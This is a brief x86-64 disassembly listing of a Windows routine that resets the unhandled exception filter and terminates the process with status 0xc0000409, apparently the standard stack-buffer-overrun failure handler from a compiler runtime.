xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140020438]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140028be8], 0
jne 0x1400023e2
mov ecx, 1
call fcn.1400073fc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret